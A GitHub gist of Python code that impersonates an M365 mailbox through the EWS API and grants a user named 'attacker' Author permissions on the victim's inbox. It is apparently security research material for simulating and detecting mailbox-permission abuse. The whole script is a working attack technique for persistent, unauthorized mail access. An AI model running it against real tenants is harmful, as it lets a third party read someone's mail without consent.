Skip to content

Instantly share code, notes, and snippets.

@mvelazc0
Created April 15, 2024 16:23
Show Gist options
  • Save mvelazc0/0cc2dab2df21f06cb9f3d1a2603fc845 to your computer and use it in GitHub Desktop.
Save mvelazc0/0cc2dab2df21f06cb9f3d1a2603fc845 to your computer and use it in GitHub Desktop.
Modify folder permissions on an M365 mailbox using the EWS API
import requests
from xml.etree import ElementTree as ET
def create_find_folder_soap_request(mailbox, folder_name):
folder_name = str.lower(folder_name)
return f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:ExchangeImpersonation>
<t:ConnectingSID>
<t:PrincipalName>{mailbox}</t:PrincipalName>
</t:ConnectingSID>
</t:ExchangeImpersonation>
</soap:Header>
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:FieldURI FieldURI="folder:PermissionSet" />
</t:AdditionalProperties>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="{folder_name}" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>'''
def modify_folder_permissions_soap_request(mailbox, folder_id, user, access_rights):
return f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:ExchangeImpersonation>
<t:ConnectingSID>
<t:PrincipalName>{mailbox}</t:PrincipalName>
</t:ConnectingSID>
</t:ExchangeImpersonation>
</soap:Header>
<soap:Body>
<m:UpdateFolder>
<m:FolderChanges>
<t:FolderChange>
<t:FolderId Id="{folder_id}" />
<t:Updates>
<t:SetFolderField>
<t:FieldURI FieldURI="folder:PermissionSet" />
<t:Folder>
<t:PermissionSet>
<t:Permissions>
<t:Permission>
<t:UserId>
{user}
</t:UserId>
<t:PermissionLevel>{access_rights}</t:PermissionLevel>
</t:Permission>
</t:Permissions>
</t:PermissionSet>
</t:Folder>
</t:SetFolderField>
</t:Updates>
</t:FolderChange>
</m:FolderChanges>
</m:UpdateFolder>
</soap:Body>
</soap:Envelope>'''
tenant_id = ''
client_id = ''
client_secret = ''
scope = 'https://graph.microsoft.com/.default'
token_url = f'https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token'
token_data = {
'grant_type': 'client_credentials',
'client_id': client_id,
'client_secret': client_secret,
'scope': scope
}
token_r = requests.post(token_url, data=token_data)
token = token_r.json().get('access_token')
mailbox = "user@splunkresearch.com"
user = "attacker@splunkresearch.com"
ews_url = 'https://outlook.office365.com/EWS/Exchange.asmx'
find_item_body = create_find_folder_soap_request(mailbox, 'inbox')
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "text/xml; charset=utf-8"
}
# Step 1: Find the folder id
response = requests.post(ews_url, headers = headers, data=find_item_body)
if response.status_code == 200:
root = ET.fromstring(response.text)
namespaces = {
's': 'http://schemas.xmlsoap.org/soap/envelope/',
'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',
't': 'http://schemas.microsoft.com/exchange/services/2006/types'
}
folder_id_element = root.find('.//t:FolderId', namespaces)
if folder_id_element is not None:
folder_id = folder_id_element.attrib.get('Id')
else:
print("Folder ID not found in the response.")
else:
print(response.text)
# Step 2: Update foler permission
update_folder_body = modify_folder_permissions_soap_request(mailbox, folder_id, user, 'Author')
response = requests.post(ews_url, headers = headers, data=update_folder_body)
# Process the response
if response.status_code == 200:
print(f"Assigned read inbox permissions to {user}")
else:
print(response.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment